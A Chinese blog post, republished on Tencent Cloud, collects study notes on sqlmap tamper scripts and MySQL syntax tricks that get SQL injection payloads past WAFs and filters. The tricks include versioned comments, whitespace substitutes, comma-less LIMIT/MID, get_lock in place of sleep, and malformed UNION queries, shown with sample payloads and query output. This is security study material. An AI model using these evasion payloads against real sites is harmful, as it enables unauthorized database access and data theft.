前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >SQLMAP-tamper的寻迹与发现

SQLMAP-tamper的寻迹与发现

作者头像
h0cksr
发布于 2023-05-17 03:15:09
发布于 2023-05-17 03:15:09
39200
代码可运行
举报
文章被收录于专栏:h0cksr的小屋h0cksr的小屋
运行总次数:0
代码可运行

SQLMAP-tamper的寻迹与发现

对tamper的各种绕过可以参考这个文章: sqlmap的tamper详解

对sqlmap框架目录的学习可以参考: SqlMap文件结构介绍

几个常用的简单记录

binary参数指定字符串可以解决字符串比较忽略大小写的问题

COALESCE函数可以说是新的ifwhen...case的替代语句了(感觉最大的收获就是这个了…)

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
mysql> select COALESCE((select host from mysql.user where user='root' and 0),1,2);
+---------------------------------------------------------------------+
| COALESCE((select host from mysql.user where user='root' and 0),1,2) |
+---------------------------------------------------------------------+
| 1                                                                   |
+---------------------------------------------------------------------+
1 row in set (0.00 sec)

mysql> select COALESCE((select host from mysql.user where user='root' and 1),1,2);
+---------------------------------------------------------------------+
| COALESCE((select host from mysql.user where user='root' and 1),1,2) |
+---------------------------------------------------------------------+
| localhost                                                           |
+---------------------------------------------------------------------+
1 row in set (0.00 sec)

mysql> select COALESCE((select host from mysql.user where 1),1,2);
ERROR 1242 (21000): Subquery returns more than 1 row
mysql> select COALESCE((select host from mysql.user where 0),1,2);
+-----------------------------------------------------+
| COALESCE((select host from mysql.user where 0),1,2) |
+-----------------------------------------------------+
| 1                                                   |
+-----------------------------------------------------+
1 row in set (0.00 sec)

一个新的注释/*!30963AND 2>1*/,里面的and 2>1语句正常生效,详细见modsecurityversioned.py

字段名可以使用字符的方式

空格绕过方法

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
字符单双引号和字段名使用间隔绕过
()
\n,\t.....一系列换页等操作符,参考space2mssqlblank.py
注释绕过:
/**不起作用的杂数据**/       => select /**xxxxx**/host from user;
/*!where xxx ...*/        => select /*!host from user*/;
/*!5或以上位数字sql语句*/    => select /*!00000host from user*/;
--空格                 => select host from user-- xxx;
#换行                      => select host from user#xxx

注意:/*!5位数字的绕过方式是需要注意的,取00000的时候就是里面的语句正常发挥作用,取99999的时候就是忽略语句里面的内容直接拼接后面的语句执行,大概就是取的数值比较小的时候里面的语句正常发挥作用,较大的时候就会忽略里面的数据, 这个临界值的大小与版本有关,例如使用mysql5.7.26的时候对应的数值就是50726,数值<=50726的时候就是正常执行里面的语句,但是到了50727的时候里面的语句就当做注释失效了

有点意思但感觉没啥用的trick

get_lock函数可以通过在一个会话(记为session1)执行get_lock('lock1',10)申请一个名为lock1的锁,第二个参数表示申请这个锁的最大申请等待时间, 这个锁在当前的会话有用, 不能被其他的会话申请使用, 所以当lock1这个锁被另一个会话(记为session2)申请使用, 所以我们可以通过条件竞争的方式,

  1. 先开启一个(或多个)线程疯狂申请一个名为h0cksr的锁
  2. 然后我们在注入的过程中在满足一定条件的时候就可以通过执行get_lock('h0cksr',10)申请名为h0cksr的锁, 并且最大申请时间为10s,因为这个锁已经被我们在之前开启的线程疯狂申请了,所以这里会因为申请失败而延时10s,从而产生sleep(10)的效果 实现难点: 如果想要真的实现延时,那么就需要保持一开始的线程始终保持占用h0cksr这个锁长达10s,否则这个锁一旦释放那么注入的时候就不会继续延时,我在测试之后发现执行一千万次的get_lock('h0cksr',10)也只需要0.78秒,然而我们一般是没有那么长的执行数据的,否则直接通过多次复制之后注入执行也和benchmark一样了 所以很鸡肋….除非可以获得一个能长期维持的会话才有实现的可能,而且在mysql8.x中get_lock不能再使用

NULLIF(expr1, expr2)比较两个字符串,如果字符串 expr1 与 expr2 相等 返回 NULL,否则返回 expr1 ,例如SELECT NULLIF(25, 25);

IFNULL(v1,v2)如果 v1 的值不为 NULL,则返回 v1,否则返回 v2,例如SELECT IFNULL(null,’Hello Word’)

select 2-.1UNION ALL SELECT 2;可以在union的前面加个.1表示2-0.1小数从而union前面不需要空格

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
select 1e0UNION SELECT 2;

下面还有一堆相关的畸形语句

select column_name from table_name的后面可以添加一个垃圾字符串数据,并不会语句的执行,但是不能有空格间隔,也不能有单双引号,以及where等其他关键字语句,只能是一个垃圾字符串

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
mysql> select host from mysql.user xxx;
+-----------+
| host      |
+-----------+
| localhost |
| localhost |
| localhost |
+-----------+
3 rows in set (0.00 sec)

mysql> select host from mysql.user xxx';
   '> ';
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '';
'' at line 1

mysql> select host from mysql.user xxx yyy;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'yyy' at line 1

mysql> select host from mysql.user 'aa';
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''aa'' at line 1

tamper中见到的一些平时常用的替代参考

between.py => between替代>

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
    >>> tamper('1 AND A > B--')
    '1 AND A NOT BETWEEN 0 AND B--'
    >>> tamper('1 AND A = B--')
    '1 AND A BETWEEN B AND B--'
    >>> tamper('1 AND LAST_INSERT_ROWID()=LAST_INSERT_ROWID()')
    '1 AND LAST_INSERT_ROWID() BETWEEN LAST_INSERT_ROWID() AND LAST_INSERT_ROWID()'

binary.py => binary避免字母比对大小写忽略

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
    >>> tamper('1 UNION ALL SELECT NULL, NULL, NULL')
    '1 UNION ALL SELECT binary NULL, binary NULL, binary NULL'
    >>> tamper('1 AND 2>1')
    '1 AND binary 2>binary 1'
    >>> tamper('CASE WHEN (1=1) THEN 1 ELSE 0x28 END')
    'CASE WHEN (binary 1=binary 1) THEN binary 1 ELSE binary 0x28 END'

这个很有用,使用binary之后就可以避免字符串比大小的时候忽略大小写的毛病了

commalesslimit.py => limit不使用逗号

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
    >>> tamper('LIMIT 2, 3')
    'LIMIT 3 OFFSET 2'

commalessmid.py => 逗号过滤的字母切割

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
    >>> tamper('MID(VERSION(), 1, 1)')
    'MID(VERSION() FROM 1 FOR 1)'
    """

greatest.py => greatest替代>

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
    >>> tamper('1 AND A > B')
    '1 AND GREATEST(A,B+1)=A'
    """

halfversionedmorekeywords.py => /*!0

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
    Requirement:
        * MySQL < 5.1
    >>> tamper("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa")
    "value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"
    """

hex2char.py => char函数获取字符串

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
>>> tamper('SELECT 0xdeadbeef')
'SELECT CONCAT(CHAR(222),CHAR(173),CHAR(190),CHAR(239))'
"""

ifnull2casewhenisnull.py => ifnull的替代(很鸡肋)

ifnull => 如果 v1 的值不为 NULL,则返回 v1,否则返回 v2

感觉这个有点鸡肋,一般过滤了if的话这个自然就不能用了

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
    >>> tamper('IFNULL(1, 2)')
    'CASE WHEN ISNULL(1) THEN (2) ELSE (1) END'
    """

least.py => least替代>

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
>>> tamper('1 AND A > B')
'1 AND LEAST(A,B+1)=B+1'
"""

misunion.py => union前面的奇奇怪怪

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
>>> tamper('1 UNION ALL SELECT')
'1-.1UNION ALL SELECT'
>>> tamper('1" UNION ALL SELECT')
'1"-.1UNION ALL SELECT'
"""

modsecurityversioned.py => /*!30963版本注释

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
mysql> select 11/*!30963AND 2>2*/--;
+-----------+
| 11AND 2>2 |
+-----------+
|         0 |
+-----------+
1 row in set (0.00 sec)
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
    >>> import random
    >>> random.seed(0)
    >>> tamper('1 AND 2>1--')
    '1 /*!30963AND 2>1*/--'
    """

除了/*!30963和下面的/*!00000之外

modsecurityzeroversioned.py => /*!00000版本注释

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
>>> tamper('1 AND 2>1--')
'1 /*!00000AND 2>1*/--'
"""

sleep2getlock.py => get_lock替代sleep函数

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
    >>> tamper('SLEEP(5)') == "GET_LOCK('%s',5)" % kb.aliasName
    True

space2mssqlblank.py => 一些空格绕过的替代字符

这个代码中有说明是用于mssql的,但是对mysql也是很有参考性的

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
    >>> random.seed(0)
    >>> tamper('SELECT id FROM users')
    'SELECT%0Did%0DFROM%04users'
    """

    # ASCII table:
    #   SOH     01      start of heading
    #   STX     02      start of text
    #   ETX     03      end of text
    #   EOT     04      end of transmission
    #   ENQ     05      enquiry
    #   ACK     06      acknowledge
    #   BEL     07      bell
    #   BS      08      backspace
    #   TAB     09      horizontal tab
    #   LF      0A      new line
    #   VT      0B      vertical TAB
    #   FF      0C      new page
    #   CR      0D      carriage return
    #   SO      0E      shift out
    #   SI      0F      shift in
    blanks = ('%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0B', '%0C', '%0D', '%0E', '%0F', '%0A')

versionedmorekeywords.py => /*!sqlcommand*/注释

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
    >>> tamper('1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#')
    '1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#'
    """

畸形语句的构造

下面的语句来自https://media.blackhat.com/us-13/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf

但是感觉好像并没有太多的用处,这些语句主要就是可以在指定select的字段名的时候将要搜索的字段名放在一些让人看着很奇怪的地方,并且可以使用在比如指定字段某个表的字段user.host或者指定搜索的表的时候的mysq.user,可以在指定字段的表名与字段名之间,或者在库名和表名之间,参入一些指定

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
mysql> select 1.UNION SELECT 2;
+----+
| 1. |
+----+
|  1 |
|  2 |
+----+
2 rows in set (0.00 sec)

mysql> select .2UNION SELECT 2;
+-----+
| .2  |
+-----+
| 0.2 |
| 2.0 |
+-----+
2 rows in set (0.00 sec)

mysql> select 1e0UNION SELECT 2;
+-----+
| 1e0 |
+-----+
|   1 |
|   2 |
+-----+
2 rows in set (0.00 sec)

mysql> SELECT\N/0.e3UNION SELECT 2;
+---------+
| \N/0.e3 |
+---------+
|    NULL |
|       2 |
+---------+
2 rows in set, 1 warning (0.00 sec)

mysql> select 1e1AND-0.0UNION SELECT 2;
+------------+
| 1e1AND-0.0 |
+------------+
|          0 |
|          2 |
+------------+
2 rows in set (0.00 sec)

mysql> select 1/*!12345UNION/*!31337SELECT/*!host*/from user;
+-----------+
| 1         |
+-----------+
| 1         |
| localhost |
+-----------+
2 rows in set (0.00 sec)

mysql> select {ts host} from user;
+-----------+
| host      |
+-----------+
| localhost |
| localhost |
| localhost |
+-----------+
3 rows in set (0.00 sec)

mysql> SELECT.`` 1.e.host from user;
+-----------+
| host      |
+-----------+
| localhost |
| localhost |
| localhost |
+-----------+
3 rows in set, 1 warning (0.00 sec)

mysql> SELECT{_ .``1.e.host} from user;
+-----------+
| host      |
+-----------+
| localhost |
| localhost |
| localhost |
+-----------+
3 rows in set, 1 warning (0.00 sec)

mysql> SELECT{_ .`user`1.e.host} from user;
+-----------+
| host      |
+-----------+
| localhost |
| localhost |
| localhost |
+-----------+
3 rows in set, 1 warning (0.00 sec)

mysql> SELECT{_`user`1.e.host} from user;
+-----------+
| host      |
+-----------+
| localhost |
| localhost |
| localhost |
+-----------+
3 rows in set, 1 warning (0.00 sec)

mysql> SELECT{_``1.e.host} from user;
+-----------+
| host      |
+-----------+
| localhost |
| localhost |
| localhost |
+-----------+
3 rows in set, 1 warning (0.00 sec)
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022-9-20 2,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
举一反三:跨平台版本迁移之 XTTS 方案操作指南
作者 | 罗贵林: 云和恩墨技术工程师,具有8年以上的 Oracle 数据库工作经验,曾任职于大型的国家电信、省级财政、省级公安的维护,性能调优等。精通 Oracle 数据库管理,调优,问题诊断。擅长 SQL 调优,Oracle Rac 等维护,管理。
数据和云
2018/07/27
1.8K0
举一反三:跨平台版本迁移之 XTTS 方案操作指南
Oracle异构平台迁移利器之XTTS(使用rman方式)
XTTS(Cross Platform Transportable Tablespaces)属于跨平台迁移表空间,它是从Oracle 8i开始就引入的一种基于表空间传输的物理迁移方法,命名为TTS,经历各个版本的不断演进,从11gR2开始,在相对停机时间要求日益减少的情况,为了应对越来越大的数据量跨平台迁移,Oracle推出了新的解决方案—加强版TTS(以下简称XTTS),XTTS使用增量备份的方式实现跨平台的数据迁移,从真正意义上大大缩短停机时间。在U2L如火如荼的今天,通过XTTS快捷、高效、平稳、安全的将Oracle数据库“小型机+集中式存储”环境迁移至“X86架构平台+分布式存储”已然成为一大神技。
AiDBA宝典
2022/11/07
5.9K0
Oracle异构平台迁移利器之XTTS(使用rman方式)
【DB宝53】Oracle异构平台迁移利器之XTTS(使用dbms_file_transfer方式)
姊妹篇文章:【DB宝52】Oracle异构平台迁移利器之XTTS(使用rman方式)
AiDBA宝典
2021/05/27
2.1K0
续:跨平台版本迁移之 XTTS 方案操作指南
运行数据库对比脚本,通过创建 dblink,运行相关的数据库对象比对脚本。这里我们主要比对了存储过程,函数,触发器,试图,索引,表等等。
数据和云
2018/07/27
1.3K0
续:跨平台版本迁移之 XTTS 方案操作指南
XTTS系列之一:U2L迁移解决方案之XTTS的使用
本系列的定位是对XTTS及相关技术进行深入的学习研究。作为本系列的开篇,本着实用性的原则,我先把一次实际生产环境U2L的迁移实战实施方案进行提炼简化,旨在能清楚说明该如何使用XTTS这种解决方案来进行U2L迁移,先达到可以跟着做下来的初级目标,如果有兴趣再去深入研究相关细节。
Alfred Zhao
2019/07/29
2.3K0
【迁移】使用XTTS-V3(DBMS_FILE_TRANSFER)数据迁移
生产上遇到一个迁移场景,大概1T数据量左右,由于没用XTTS做过迁移,所以准备尝试一下,本次迁移采用XTTS(增强传输表空间) V3版本的DBMS_FILE_TRANSFER方式。
甚至熊熊
2021/04/22
2.4K1
【迁移】使用XTTS-V3(DBMS_FILE_TRANSFER)数据迁移
【DB宝52】Oracle异构平台迁移利器之XTTS(使用rman方式)
XTTS(Cross Platform Transportable Tablespaces)属于跨平台迁移表空间,它是从Oracle 8i开始就引入的一种基于表空间传输的物理迁移方法,命名为TTS,经历各个版本的不断演进,从11gR2开始,在相对停机时间要求日益减少的情况,为了应对越来越大的数据量跨平台迁移,Oracle推出了新的解决方案—加强版TTS(以下简称XTTS),XTTS使用增量备份的方式实现跨平台的数据迁移,从真正意义上大大缩短停机时间。在U2L如火如荼的今天,通过XTTS快捷、高效、平稳、安全的将Oracle数据库“小型机+集中式存储”环境迁移至“X86架构平台+分布式存储”已然成为一大神技。
AiDBA宝典
2021/05/27
2.8K0
Oracle数据库迁移:异构传输表空间TTS HP-UX迁移至Redhat Linux 7.7
由于本次迁移为历史库迁移,且数据库未开启归档模式,所以选择较为便捷第二种方式进行迁移。
数据和云
2021/03/09
3.5K0
深入浅出XTTS:Oracle数据库迁移升级利器
摘要 通常我们要进行数据迁移,可以使用的方案有很多,比如数据泵、RMAN、GoldenGate,甚至是第三方同步软件DSG、DDS等。但是对于传统的迁移方式来说,数据量越大,需要的停机时间越长。增强版
IT大咖说
2018/04/04
3K0
深入浅出XTTS:Oracle数据库迁移升级利器
XTTS系列之五:警惕大文件表空间
在上篇《XTTS系列之四:迷迷糊糊的并行度》验证之后,就让测试组在RMAN配置中设置好正确的并行。然后重新将备份任务执行,平均速度直接由之前的150MB/s提升为1200MB/s。优化效果非常明显,速度直接提升了8倍。但是由于用户的数据库存在大文件表空间,当执行到大文件表空间时,速度又降到150MB/s的速度,无法使用并行。
Alfred Zhao
2023/10/10
2690
XTTS系列之二:不可忽略的BCT
重要系统Oracle数据库U2L迁移场景中,如果客户来问我建议,我都会回复说首选就是XTTS,除非XTTS经测试实在是无法满足停机窗口,否则就不要考虑OGG这类方案。 换句话说,选择OGG做迁移的场景,都是没有其他办法时才会选用的方案了。
Alfred Zhao
2023/10/10
3060
XTTS系列之四:迷迷糊糊的并行度
项目测试组又反馈一个问题,XTTS执行全量备份速度慢,影响测试进度。 实际算了下,平均速度才150MB/s.. 这个速度在客户生产环境的确是不够看,首先询问是否开了并行,开了多少?
Alfred Zhao
2023/10/10
3010
XTTS系列之三:中转空间的选择和优化
通常选择XTTS做迁移的数据库都不会太小的,至少都是几T、几十T这样的规模,这种级别的数据量原有空间不够用,所以在迁移过程临时用作存放迁移数据库备份文件的空间也是需要提前考虑规划的问题。
Alfred Zhao
2023/10/10
3180
XTTS系列之三:中转空间的选择和优化
我们都被骗了,所有的跨平台迁移都可以通过XTTS实现
自从2015年初进行了xtts增量的U2L迁移测试之后,国内很多人都开始利用这种方案进行数据库跨平台迁移了,基本上都是利用Oracle 封装的perl脚本。其中Oracle MOS文档 11G – Reduce Transportable Tablespace Downtime using Cross Platform Incremental Backup (文档 ID 1389592.1) 明确提到目标端环境必须是Linux, 这里该文档中的一段原话: The source system may be a
数据和云
2018/03/07
1.3K1
我们都被骗了,所有的跨平台迁移都可以通过XTTS实现
记录一则xtts测试遇到的诡异现象
背景:在一次xtts的测试中遇到因源库数据文件名称包含特殊字符导致表空间全量备份缺失文件,之所以说是诡异现象,是因为xtts的全备日志不报任何错误,在恢复阶段才发现缺少文件,这个缺陷比较隐晦,尤其在迁移的表空间较多的场景下,不注意的话很难第一时间发现。 环境:客户环境是AIX 5.3 + Oracle 10.2.0.3,使用xtts脚本2.0版本,本文在测试环境OEL 5.7 + Oracle 10.2.0.5 下,使用xtts脚本3.0实验,同样可以重现这个现象,说明是普遍现象。
Alfred Zhao
2019/02/15
5950
ORACLE备份恢复
备份就是把数据库复制到转储设备的过程。其中,转储设备是指用于放置数据库副本的磁带或磁盘。通常也将存放于转储设备中的数据库的副本称为原数据库的备份或转储。备份是一份数据副本
全栈程序员站长
2022/09/13
2.9K0
ORACLE备份恢复
OracleDBA之数据库管理
  以下这些东西是我的麦库上存的当时学Oracle的学习笔记今天拿出来和大家分享一下,转载请注明出处,下面用的Oracle的版本是10g,用的时WinServer2003的操作系统,可能有些命令和Oracle11g的有所不同,但大部分是一样的,接下来还会陆续的分享一下Oracle中对用户的管理,对表的管理,还有Oracle中的存储过程和PL/SQL编程。用到的Oracle的管理工具是PL/SQL Developerl和SQL PLUS,欢迎大家批评指正。 1.数据库管理员的职责:   1.安装和升级Ora
lizelu
2018/01/12
1.2K0
Oracle 用户、对象权限、系统权限
用户:对数据库的访问,需要以适当用户身份通过验证,并具有相关权限来完成一系列动作
Leshami
2018/08/07
3.2K0
【DB笔试面试545】在Oracle中,如何获取用户的权限?
若要获取一个用户的角色、系统权限、对象权限以及列权限,则可以通过以上介绍的数据字典视图来获取也可以通过DBMS_METADATA.GET_GRANTED_DDL来获取。
AiDBA宝典
2019/09/29
1.9K0
【DB笔试面试545】在Oracle中,如何获取用户的权限?
传输表空间TTS操作
迁移或备份数据库可以采用传输表空间技术TTS,优点是操作较简便,只需要将元数据进行导出导入,数据文件可以使用FTP方式从源库拷贝至目标库;缺点是数据文件传输至目标库之前,需要将源库表空间置为只读,相当于停业务,所以需要根据业务要求来判断是否可以采用这种方式,下面就针对TTS做一个简单的实验,感性地体会下其操作过程。增强版的XTTS未来有机会再做实验。
bisal
2019/01/29
1.3K0
推荐阅读
相关推荐
举一反三:跨平台版本迁移之 XTTS 方案操作指南
更多 >
LV.1
360高级测试经理
目录
  • SQLMAP-tamper的寻迹与发现
    • 几个常用的简单记录
    • 有点意思但感觉没啥用的trick
    • tamper中见到的一些平时常用的替代参考
      • between.py => between替代>
      • binary.py => binary避免字母比对大小写忽略
      • commalesslimit.py => limit不使用逗号
      • commalessmid.py => 逗号过滤的字母切割
      • greatest.py => greatest替代>
      • halfversionedmorekeywords.py => /*!0
      • hex2char.py => char函数获取字符串
      • ifnull2casewhenisnull.py => ifnull的替代(很鸡肋)
      • least.py => least替代>
      • misunion.py => union前面的奇奇怪怪
      • modsecurityversioned.py => /*!30963版本注释
      • modsecurityzeroversioned.py => /*!00000版本注释
      • sleep2getlock.py => get_lock替代sleep函数
      • space2mssqlblank.py => 一些空格绕过的替代字符
      • versionedmorekeywords.py => /*!sqlcommand*/注释
    • 畸形语句的构造
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档